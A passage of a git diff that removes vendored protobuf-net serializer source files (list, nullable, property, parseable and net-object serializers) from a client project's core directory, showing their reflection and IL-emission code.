= new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - Compiler.CodeLabel readPacked = packedWireType == WireType.None ? new Compiler.CodeLabel() : ctx.DefineLabel(); - if (packedWireType != WireType.None) - { - ctx.LoadReaderWriter(); - ctx.LoadValue(typeof(ProtoReader).GetProperty("WireType")); - ctx.LoadValue((int)WireType.String); - ctx.BranchIfEqual(readPacked, false); - } - ctx.LoadReaderWriter(); - ctx.LoadValue(typeof(ProtoReader).GetProperty("FieldNumber")); - ctx.StoreValue(fieldNumber); - - Compiler.CodeLabel @continue = ctx.DefineLabel(); - ctx.MarkLabel(@continue); - - EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); - - ctx.LoadReaderWriter(); - ctx.LoadValue(fieldNumber); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("TryReadFieldHeader")); - ctx.BranchIfTrue(@continue, false); - - if (packedWireType != WireType.None) - { - Compiler.CodeLabel allDone = ctx.DefineLabel(); - ctx.Branch(allDone, false); - ctx.MarkLabel(readPacked); - - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); - - Compiler.CodeLabel testForData = ctx.DefineLabel(), noMoreData = ctx.DefineLabel(); - ctx.MarkLabel(testForData); - ctx.LoadValue((int)packedWireType); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("HasSubValue")); - ctx.BranchIfFalse(noMoreData, false); - - EmitReadAndAddItem(ctx, list, tail, add, castListForAdd); - ctx.Branch(testForData, false); - - ctx.MarkLabel(noMoreData); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); - ctx.MarkLabel(allDone); - } - - - - } - } - - private static void EmitReadAndAddItem(Compiler.CompilerContext ctx, Compiler.Local list, IProtoSerializer tail, MethodInfo add, bool castListForAdd) - { - ctx.LoadAddress(list, list.Type); // needs to be the reference in case the list is value-type (static-call) - if (castListForAdd) ctx.Cast(add.DeclaringType); - Type itemType = tail.ExpectedType; - bool tailReturnsValue = tail.ReturnsValue; - if (tail.RequiresOldValue) - { - if (itemType.IsValueType || !tailReturnsValue) - { - // going to need a variable - using (Compiler.Local item = new Compiler.Local(ctx, itemType)) - { - if (itemType.IsValueType) - { // initialise the struct - ctx.LoadAddress(item, itemType); - ctx.EmitCtor(itemType); - } - else - { // assign null - ctx.LoadNullRef(); - ctx.StoreValue(item); - } - tail.EmitRead(ctx, item); - if (!tailReturnsValue) { ctx.LoadValue(item); } - } - } - else - { // no variable; pass the null on the stack and take the value *off* the stack - ctx.LoadNullRef(); - tail.EmitRead(ctx, null); - } - } - else - { - if (tailReturnsValue) - { // out only (on the stack); just emit it - tail.EmitRead(ctx, null); - } - else - { // doesn't take anything in nor return anything! WTF? - throw new InvalidOperationException(); - } - } - // our "Add" is chosen either to take the correct type, or to take "object"; - // we may need to box the value - - Type addParamType = add.GetParameters()[0].ParameterType; - if(addParamType != itemType) { - if (addParamType == ctx.MapType(typeof(object))) - { - ctx.CastToObject(itemType); - } -#if !NO_GENERICS - else if(Helpers.GetUnderlyingType(addParamType) == itemType) - { // list is nullable - ConstructorInfo ctor = Helpers.GetConstructor(addParamType, new Type[] {itemType}, false); - ctx.EmitCtor(ctor); // the itemType on the stack is now a Nullable - } -#endif - else - { - throw new InvalidOperationException("Conflicting item/add type"); - } - } - ctx.EmitCall(add); - if (add.ReturnType != ctx.MapType(typeof(void))) - { - ctx.DiscardValue(); - } - } -#endif - -#if WINRT - private static readonly TypeInfo ienumeratorType = typeof(IEnumerator).GetTypeInfo(), ienumerableType = typeof (IEnumerable).GetTypeInfo(); -#else - private static readonly System.Type ienumeratorType = typeof (IEnumerator), - ienumerableType = typeof (IEnumerable); -#endif - - protected MethodInfo GetEnumeratorInfo(TypeModel model, out MethodInfo moveNext, out MethodInfo current) - { -#if WINRT - TypeInfo enumeratorType = null, iteratorType, expectedType = ExpectedType.GetTypeInfo(); -#else - Type enumeratorType = null, iteratorType, expectedType = ExpectedType; -#endif - - // try a custom enumerator - MethodInfo getEnumerator = Helpers.GetInstanceMethod(expectedType, "GetEnumerator", null); - Type itemType = Tail.ExpectedType; - - Type getReturnType = null; - if (getEnumerator != null) - { - getReturnType = getEnumerator.ReturnType; - iteratorType = getReturnType -#if WINRT - .GetTypeInfo() -#endif - ; - moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext", null); - PropertyInfo prop = Helpers.GetProperty(iteratorType, "Current", false); - current = prop == null ? null : Helpers.GetGetMethod(prop, false, false); - if (moveNext == null && (model.MapType(ienumeratorType).IsAssignableFrom(iteratorType))) - { - moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext", null); - } - // fully typed - if (moveNext != null && moveNext.ReturnType == model.MapType(typeof (bool)) - && current != null && current.ReturnType == itemType) - { - return getEnumerator; - } - moveNext = current = getEnumerator = null; - } - -#if !NO_GENERICS - // try IEnumerable - Type tmp = model.MapType(typeof (System.Collections.Generic.IEnumerable<>), false); - - if (tmp != null) - { - tmp = tmp.MakeGenericType(itemType); - -#if WINRT - enumeratorType = tmp.GetTypeInfo(); -#else - enumeratorType = tmp; -#endif - } - ; - if (enumeratorType != null && enumeratorType.IsAssignableFrom(expectedType)) - { - getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator"); - getReturnType = getEnumerator.ReturnType; - -#if WINRT - iteratorType = getReturnType.GetTypeInfo(); -#else - iteratorType = getReturnType; -#endif - - moveNext = Helpers.GetInstanceMethod(model.MapType(ienumeratorType), "MoveNext"); - current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false); - return getEnumerator; - } -#endif - // give up and fall-back to non-generic IEnumerable - enumeratorType = model.MapType(ienumerableType); - getEnumerator = Helpers.GetInstanceMethod(enumeratorType, "GetEnumerator"); - getReturnType = getEnumerator.ReturnType; - iteratorType = getReturnType -#if WINRT - .GetTypeInfo() -#endif - ; - moveNext = Helpers.GetInstanceMethod(iteratorType, "MoveNext"); - current = Helpers.GetGetMethod(Helpers.GetProperty(iteratorType, "Current", false), false, false); - return getEnumerator; - } - -#if FEAT_COMPILER - protected override void EmitWrite(ProtoBuf.Compiler.CompilerContext ctx, ProtoBuf.Compiler.Local valueFrom) - { - using (Compiler.Local list = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - MethodInfo moveNext, current, getEnumerator = GetEnumeratorInfo(ctx.Model, out moveNext, out current); - Helpers.DebugAssert(moveNext != null); - Helpers.DebugAssert(current != null); - Helpers.DebugAssert(getEnumerator != null); - Type enumeratorType = getEnumerator.ReturnType; - bool writePacked = WritePacked; - using (Compiler.Local iter = new Compiler.Local(ctx, enumeratorType)) - using (Compiler.Local token = writePacked ? new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken))) : null) - { - if (writePacked) - { - ctx.LoadValue(fieldNumber); - ctx.LoadValue((int)WireType.String); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("WriteFieldHeader")); - - ctx.LoadValue(list); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - ctx.LoadValue(fieldNumber); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("SetPackedField")); - } - - ctx.LoadAddress(list, ExpectedType); - ctx.EmitCall(getEnumerator); - ctx.StoreValue(iter); - using (ctx.Using(iter)) - { - Compiler.CodeLabel body = ctx.DefineLabel(), next = ctx.DefineLabel(); - ctx.Branch(next, false); - - ctx.MarkLabel(body); - - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(current); - Type itemType = Tail.ExpectedType; - if (itemType != ctx.MapType(typeof(object)) && current.ReturnType == ctx.MapType(typeof(object))) - { - ctx.CastFromObject(itemType); - } - Tail.EmitWrite(ctx, null); - - ctx.MarkLabel(@next); - ctx.LoadAddress(iter, enumeratorType); - ctx.EmitCall(moveNext); - ctx.BranchIfTrue(body, false); - } - - if (writePacked) - { - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); - } - } - } - } -#endif - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - SubItemToken token; - bool writePacked = WritePacked; - if (writePacked) - { - ProtoWriter.WriteFieldHeader(fieldNumber, WireType.String, dest); - token = ProtoWriter.StartSubItem(value, dest); - ProtoWriter.SetPackedField(fieldNumber, dest); - } - else - { - token = new SubItemToken(); // default - } - bool checkForNull = !SupportNull; - foreach (object subItem in (IEnumerable) value) - { - if (checkForNull && subItem == null) - { - throw new NullReferenceException(); - } - Tail.Write(subItem, dest); - } - if (writePacked) - { - ProtoWriter.EndSubItem(token, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - int field = source.FieldNumber; - object origValue = value; - if (value == null) value = Activator.CreateInstance(concreteType); - bool isList = IsList && !SuppressIList; - if (packedWireType != WireType.None && source.WireType == WireType.String) - { - SubItemToken token = ProtoReader.StartSubItem(source); - if (isList) - { - IList list = (IList) value; - while (ProtoReader.HasSubValue(packedWireType, source)) - { - list.Add(Tail.Read(null, source)); - } - } - else - { - object[] args = new object[1]; - while (ProtoReader.HasSubValue(packedWireType, source)) - { - args[0] = Tail.Read(null, source); - add.Invoke(value, args); - } - } - ProtoReader.EndSubItem(token, source); - } - else - { - if (isList) - { - IList list = (IList) value; - do - { - list.Add(Tail.Read(null, source)); - } while (source.TryReadFieldHeader(field)); - } - else - { - object[] args = new object[1]; - do - { - args[0] = Tail.Read(null, source); - add.Invoke(value, args); - } while (source.TryReadFieldHeader(field)); - } - } - return origValue == value ? null : value; - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs b/Client/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs deleted file mode 100644 index 7bc9f27c..00000000 --- a/Client/Core/ProtoBuf/Serializers/MemberSpecifiedDecorator.cs +++ /dev/null @@ -1,96 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class MemberSpecifiedDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return Tail.ExpectedType; } - } - - public override bool RequiresOldValue - { - get { return Tail.RequiresOldValue; } - } - - public override bool ReturnsValue - { - get { return Tail.ReturnsValue; } - } - - private readonly MethodInfo getSpecified, setSpecified; - - public MemberSpecifiedDecorator(MethodInfo getSpecified, MethodInfo setSpecified, IProtoSerializer tail) - : base(tail) - { - if (getSpecified == null && setSpecified == null) throw new InvalidOperationException(); - this.getSpecified = getSpecified; - this.setSpecified = setSpecified; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - if (getSpecified == null || (bool) getSpecified.Invoke(value, null)) - { - Tail.Write(value, dest); - } - } - - public override object Read(object value, ProtoReader source) - { - object result = Tail.Read(value, source); - if (setSpecified != null) setSpecified.Invoke(value, new object[] {true}); - return result; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (getSpecified == null) - { - Tail.EmitWrite(ctx, valueFrom); - return; - } - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - ctx.LoadAddress(loc, ExpectedType); - ctx.EmitCall(getSpecified); - Compiler.CodeLabel done = ctx.DefineLabel(); - ctx.BranchIfFalse(done, false); - Tail.EmitWrite(ctx, loc); - ctx.MarkLabel(done); - } - - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - if (setSpecified == null) - { - Tail.EmitRead(ctx, valueFrom); - return; - } - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - Tail.EmitRead(ctx, loc); - ctx.LoadAddress(loc, ExpectedType); - ctx.LoadValue(1); // true - ctx.EmitCall(setSpecified); - } - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/NetObjectSerializer.cs b/Client/Core/ProtoBuf/Serializers/NetObjectSerializer.cs deleted file mode 100644 index 7fb7fdfc..00000000 --- a/Client/Core/ProtoBuf/Serializers/NetObjectSerializer.cs +++ /dev/null @@ -1,82 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class NetObjectSerializer : IProtoSerializer - { - private readonly int key; - private readonly Type type; - - private readonly BclHelpers.NetObjectOptions options; - - public NetObjectSerializer(TypeModel model, Type type, int key, BclHelpers.NetObjectOptions options) - { - bool dynamicType = (options & BclHelpers.NetObjectOptions.DynamicType) != 0; - this.key = dynamicType ? -1 : key; - this.type = dynamicType ? model.MapType(typeof (object)) : type; - this.options = options; - } - - public Type ExpectedType - { - get { return type; } - } - - public bool ReturnsValue - { - get { return true; } - } - - public bool RequiresOldValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - return BclHelpers.ReadNetObject(value, source, key, type == typeof (object) ? null : type, options); - } - - public void Write(object value, ProtoWriter dest) - { - BclHelpers.WriteNetObject(value, dest, key, options); - } -#endif - -#if FEAT_COMPILER - public void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.CastToObject(type); - ctx.LoadReaderWriter(); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); - if (type == ctx.MapType(typeof(object))) ctx.LoadNullRef(); - else ctx.LoadValue(type); - ctx.LoadValue((int)options); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("ReadNetObject")); - ctx.CastFromObject(type); - } - public void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadValue(valueFrom); - ctx.CastToObject(type); - ctx.LoadReaderWriter(); - ctx.LoadValue(ctx.MapMetaKeyToCompiledKey(key)); - ctx.LoadValue((int)options); - ctx.EmitCall(ctx.MapType(typeof(BclHelpers)).GetMethod("WriteNetObject")); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/NullDecorator.cs b/Client/Core/ProtoBuf/Serializers/NullDecorator.cs deleted file mode 100644 index 6dbbee0f..00000000 --- a/Client/Core/ProtoBuf/Serializers/NullDecorator.cs +++ /dev/null @@ -1,189 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class NullDecorator : ProtoDecoratorBase - { - private readonly Type expectedType; - public const int Tag = 1; - - public NullDecorator(TypeModel model, IProtoSerializer tail) : base(tail) - { - if (!tail.ReturnsValue) - throw new NotSupportedException("NullDecorator only supports implementations that return values"); - - Type tailType = tail.ExpectedType; - if (Helpers.IsValueType(tailType)) - { -#if NO_GENERICS - throw new NotSupportedException("NullDecorator cannot be used with a struct without generics support"); -#else - expectedType = model.MapType(typeof (Nullable<>)).MakeGenericType(tailType); -#endif - } - else - { - expectedType = tailType; - } - } - - public override Type ExpectedType - { - get { return expectedType; } - } - - public override bool ReturnsValue - { - get { return true; } - } - - public override bool RequiresOldValue - { - get { return true; } - } - -#if FEAT_COMPILER - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using (Compiler.Local oldValue = ctx.GetLocalWithValue(expectedType, valueFrom)) - using (Compiler.Local token = new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - using (Compiler.Local field = new Compiler.Local(ctx, ctx.MapType(typeof(int)))) - { - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - Compiler.CodeLabel next = ctx.DefineLabel(), processField = ctx.DefineLabel(), end = ctx.DefineLabel(); - - ctx.MarkLabel(next); - - ctx.EmitBasicRead("ReadFieldHeader", ctx.MapType(typeof(int))); - ctx.CopyValue(); - ctx.StoreValue(field); - ctx.LoadValue(Tag); // = 1 - process - ctx.BranchIfEqual(processField, true); - ctx.LoadValue(field); - ctx.LoadValue(1); // < 1 - exit - ctx.BranchIfLess(end, false); - - // default: skip - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("SkipField")); - ctx.Branch(next, true); - - // process - ctx.MarkLabel(processField); - if (Tail.RequiresOldValue) - { - if (expectedType.IsValueType) - { - ctx.LoadAddress(oldValue, expectedType); - ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); - } - else - { - ctx.LoadValue(oldValue); - } - } - Tail.EmitRead(ctx, null); - // note we demanded always returns a value - if (expectedType.IsValueType) - { - ctx.EmitCtor(expectedType, Tail.ExpectedType); // re-nullable it - } - ctx.StoreValue(oldValue); - ctx.Branch(next, false); - - // outro - ctx.MarkLabel(end); - - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("EndSubItem")); - ctx.LoadValue(oldValue); // load the old value - } - } - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - using(Compiler.Local valOrNull = ctx.GetLocalWithValue(expectedType, valueFrom)) - using(Compiler.Local token = new Compiler.Local(ctx, ctx.MapType(typeof(SubItemToken)))) - { - ctx.LoadNullRef(); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("StartSubItem")); - ctx.StoreValue(token); - - if (expectedType.IsValueType) - { - ctx.LoadAddress(valOrNull, expectedType); - ctx.LoadValue(expectedType.GetProperty("HasValue")); - } - else - { - ctx.LoadValue(valOrNull); - } - Compiler.CodeLabel @end = ctx.DefineLabel(); - ctx.BranchIfFalse(@end, false); - if (expectedType.IsValueType) - { - ctx.LoadAddress(valOrNull, expectedType); - ctx.EmitCall(expectedType.GetMethod("GetValueOrDefault", Helpers.EmptyTypes)); - } - else - { - ctx.LoadValue(valOrNull); - } - Tail.EmitWrite(ctx, null); - - ctx.MarkLabel(@end); - - ctx.LoadValue(token); - ctx.LoadReaderWriter(); - ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("EndSubItem")); - } - } -#endif - -#if !FEAT_IKVM - public override object Read(object value, ProtoReader source) - { - SubItemToken tok = ProtoReader.StartSubItem(source); - int field; - while ((field = source.ReadFieldHeader()) > 0) - { - if (field == Tag) - { - value = Tail.Read(value, source); - } - else - { - source.SkipField(); - } - } - ProtoReader.EndSubItem(tok, source); - return value; - } - - public override void Write(object value, ProtoWriter dest) - { - SubItemToken token = ProtoWriter.StartSubItem(null, dest); - if (value != null) - { - Tail.Write(value, dest); - } - ProtoWriter.EndSubItem(token, dest); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ParseableSerializer.cs b/Client/Core/ProtoBuf/Serializers/ParseableSerializer.cs deleted file mode 100644 index fdd6ef9e..00000000 --- a/Client/Core/ProtoBuf/Serializers/ParseableSerializer.cs +++ /dev/null @@ -1,137 +0,0 @@ -#if !NO_RUNTIME -using System; -using System.Net; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class ParseableSerializer : IProtoSerializer - { - private readonly MethodInfo parse; - - public static ParseableSerializer TryCreate(Type type, TypeModel model) - { - if (type == null) throw new ArgumentNullException("type"); -#if WINRT || PORTABLE - MethodInfo method = null; - -#if WINRT - foreach (MethodInfo tmp in type.GetTypeInfo().GetDeclaredMethods("Parse")) -#else - foreach (MethodInfo tmp in type.GetMethods(BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly)) -#endif - { - ParameterInfo[] p; - if (tmp.Name == "Parse" && tmp.IsPublic && tmp.IsStatic && tmp.DeclaringType == type && (p = tmp.GetParameters()) != null && p.Length == 1 && p[0].ParameterType == typeof(string)) - { - method = tmp; - break; - } - } -#else - MethodInfo method = type.GetMethod("Parse", - BindingFlags.Public | BindingFlags.Static | BindingFlags.DeclaredOnly, - null, new Type[] {model.MapType(typeof (string))}, null); -#endif - if (method != null && method.ReturnType == type) - { - if (Helpers.IsValueType(type)) - { - MethodInfo toString = GetCustomToString(type); - if (toString == null || toString.ReturnType != model.MapType(typeof (string))) - return null; // need custom ToString, fools - } - return new ParseableSerializer(method); - } - return null; - } - - private static MethodInfo GetCustomToString(Type type) - { -#if WINRT - foreach (MethodInfo method in type.GetTypeInfo().GetDeclaredMethods("ToString")) - { - if (method.IsPublic && !method.IsStatic && method.GetParameters().Length == 0) return method; - } - return null; -#elif PORTABLE - MethodInfo method = Helpers.GetInstanceMethod(type, "ToString", Helpers.EmptyTypes); - if (method == null || !method.IsPublic || method.IsStatic || method.DeclaringType != type) return null; - return method; -#else - - return type.GetMethod("ToString", BindingFlags.Public | BindingFlags.Instance | BindingFlags.DeclaredOnly, - null, Helpers.EmptyTypes, null); -#endif - } - - private ParseableSerializer(MethodInfo parse) - { - this.parse = parse; - } - - public Type ExpectedType - { - get { return parse.DeclaringType; } - } - - bool IProtoSerializer.RequiresOldValue - { - get { return false; } - } - - bool IProtoSerializer.ReturnsValue - { - get { return true; } - } - -#if !FEAT_IKVM - public object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value == null); // since replaces - return parse.Invoke(null, new object[] {source.ReadString()}); - } - - public void Write(object value, ProtoWriter dest) - { - ProtoWriter.WriteString(value.ToString(), dest); - } -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - Type type = ExpectedType; - if (type.IsValueType) - { // note that for structs, we've already asserted that a custom ToString - // exists; no need to handle the box/callvirt scenario - - // force it to a variable if needed, so we can take the address - using (Compiler.Local loc = ctx.GetLocalWithValue(type, valueFrom)) - { - ctx.LoadAddress(loc, type); - ctx.EmitCall(GetCustomToString(type)); - } - } - else { - ctx.EmitCall(ctx.MapType(typeof(object)).GetMethod("ToString")); - } - ctx.EmitBasicWrite("WriteString", valueFrom); - } - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.EmitBasicRead("ReadString", ctx.MapType(typeof(string))); - ctx.EmitCall(parse); - } -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/PropertyDecorator.cs b/Client/Core/ProtoBuf/Serializers/PropertyDecorator.cs deleted file mode 100644 index 10fae544..00000000 --- a/Client/Core/ProtoBuf/Serializers/PropertyDecorator.cs +++ /dev/null @@ -1,195 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal sealed class PropertyDecorator : ProtoDecoratorBase - { - public override Type ExpectedType - { - get { return forType; } - } - - private readonly PropertyInfo property; - private readonly Type forType; - - public override bool RequiresOldValue - { - get { return true; } - } - - public override bool ReturnsValue - { - get { return false; } - } - - private readonly bool readOptionsWriteValue; - private readonly MethodInfo shadowSetter; - - public PropertyDecorator(TypeModel model, Type forType, PropertyInfo property, IProtoSerializer tail) - : base(tail) - { - Helpers.DebugAssert(forType != null); - Helpers.DebugAssert(property != null); - this.forType = forType; - this.property = property; - SanityCheck(model, property, tail, out readOptionsWriteValue, true, true); - shadowSetter = GetShadowSetter(model, property); - } - - private static void SanityCheck(TypeModel model, PropertyInfo property, IProtoSerializer tail, - out bool writeValue, bool nonPublic, bool allowInternal) - { - if (property == null) throw new ArgumentNullException("property"); - - writeValue = tail.ReturnsValue && - (GetShadowSetter(model, property) != null || - (property.CanWrite && Helpers.GetSetMethod(property, nonPublic, allowInternal) != null)); - if (!property.CanRead || Helpers.GetGetMethod(property, nonPublic, allowInternal) == null) - { - throw new InvalidOperationException("Cannot serialize property without a get accessor"); - } - if (!writeValue && (!tail.RequiresOldValue || Helpers.IsValueType(tail.ExpectedType))) - { - // so we can't save the value, and the tail doesn't use it either... not helpful - // or: can't write the value, so the struct value will be lost - throw new InvalidOperationException("Cannot apply changes to property " + - property.DeclaringType.FullName + "." + property.Name); - } - } - - private static MethodInfo GetShadowSetter(TypeModel model, PropertyInfo property) - { -#if WINRT - MethodInfo method = Helpers.GetInstanceMethod(property.DeclaringType.GetTypeInfo(), "Set" + property.Name, new Type[] { property.PropertyType }); -#else - -#if FEAT_IKVM - Type reflectedType = property.DeclaringType; -#else - Type reflectedType = property.ReflectedType; -#endif - MethodInfo method = Helpers.GetInstanceMethod(reflectedType, "Set" + property.Name, - new Type[] {property.PropertyType}); -#endif - if (method == null || !method.IsPublic || method.ReturnType != model.MapType(typeof (void))) return null; - return method; - } - -#if !FEAT_IKVM - public override void Write(object value, ProtoWriter dest) - { - Helpers.DebugAssert(value != null); - value = property.GetValue(value, null); - if (value != null) Tail.Write(value, dest); - } - - public override object Read(object value, ProtoReader source) - { - Helpers.DebugAssert(value != null); - - object oldVal = Tail.RequiresOldValue ? property.GetValue(value, null) : null; - object newVal = Tail.Read(oldVal, source); - if (readOptionsWriteValue && newVal != null) // if the tail returns a null, intepret that as *no assign* - { - if (shadowSetter == null) - { - property.SetValue(value, newVal, null); - } - else - { - shadowSetter.Invoke(value, new object[] {newVal}); - } - } - return null; - } -#endif - -#if FEAT_COMPILER - protected override void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - ctx.LoadAddress(valueFrom, ExpectedType); - ctx.LoadValue(property); - ctx.WriteNullCheckedTail(property.PropertyType, Tail, null); - } - protected override void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) - { - - bool writeValue; - SanityCheck(ctx.Model, property, Tail, out writeValue, ctx.NonPublic, ctx.AllowInternal(property)); - if (ExpectedType.IsValueType && valueFrom == null) - { - throw new InvalidOperationException("Attempt to mutate struct on the head of the stack; changes would be lost"); - } - - using (Compiler.Local loc = ctx.GetLocalWithValue(ExpectedType, valueFrom)) - { - if (Tail.RequiresOldValue) - { - ctx.LoadAddress(loc, ExpectedType); // stack is: old-addr - ctx.LoadValue(property); // stack is: old-value - } - Type propertyType = property.PropertyType; - ctx.ReadNullCheckedTail(propertyType, Tail, null); // stack is [new-value] - - if (writeValue) - { - using (Compiler.Local newVal = new Compiler.Local(ctx, property.PropertyType)) - { - ctx.StoreValue(newVal); // stack is empty - - Compiler.CodeLabel allDone = new Compiler.CodeLabel(); // <=== default structs - if (!propertyType.IsValueType) - { // if the tail returns a null, intepret that as *no assign* - allDone = ctx.DefineLabel(); - ctx.LoadValue(newVal); // stack is: new-value - ctx.BranchIfFalse(@allDone, true); // stack is empty - } - // assign the value - ctx.LoadAddress(loc, ExpectedType); // parent-addr - ctx.LoadValue(newVal); // parent-obj|new-value - if (shadowSetter == null) - { - ctx.StoreValue(property); // empty - } - else - { - ctx.EmitCall(shadowSetter); // empty - } - if (!propertyType.IsValueType) - { - ctx.MarkLabel(allDone); - } - } - - } - else - { // don't want return value; drop it if anything there - // stack is [new-value] - if (Tail.ReturnsValue) { ctx.DiscardValue(); } - } - } - } -#endif - - internal static bool CanWrite(TypeModel model, MemberInfo member) - { - if (member == null) throw new ArgumentNullException("member"); - - PropertyInfo prop = member as PropertyInfo; - if (prop != null) return prop.CanWrite || GetShadowSetter(model, prop) != null; - - return member is FieldInfo; // fields are always writeable; anything else: JUST SAY NO! - } - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs b/Client/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs deleted file mode 100644 index f6971531..00000000 --- a/Client/Core/ProtoBuf/Serializers/ProtoDecoratorBase.cs +++ /dev/null @@ -1,40 +0,0 @@ -#if !NO_RUNTIME -using System; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf.Serializers -{ - internal abstract class ProtoDecoratorBase : IProtoSerializer - { - public abstract Type ExpectedType { get; } - protected readonly IProtoSerializer Tail; - - protected ProtoDecoratorBase(IProtoSerializer tail) - { - this.Tail = tail; - } - - public abstract bool ReturnsValue { get; } - public abstract bool RequiresOldValue { get; } -#if !FEAT_IKVM - public abstract void Write(object value, ProtoWriter dest); - public abstract object Read(object value, ProtoReader source); -#endif - -#if FEAT_COMPILER - void IProtoSerializer.EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitWrite(ctx, valueFrom); } - protected abstract void EmitWrite(Compiler.CompilerContext ctx, Compiler.Local valueFrom); - void IProtoSerializer.EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom) { EmitRead(ctx, valueFrom); } - protected abstract void EmitRead(Compiler.CompilerContext ctx, Compiler.Local valueFrom); -#endif - } -} - -#endif \ No newline at end of file diff --git a/Client/Core/ProtoBuf/Serializers/SByteSerializer.cs b/Client/Core/ProtoBuf/Serializers/SByteSerializer.cs deleted file mode 100644 index c3fc9600..00000000 --- a/Client/Core/ProtoBuf/Serializers/SByteSerializer.cs +++ /dev/null @@ 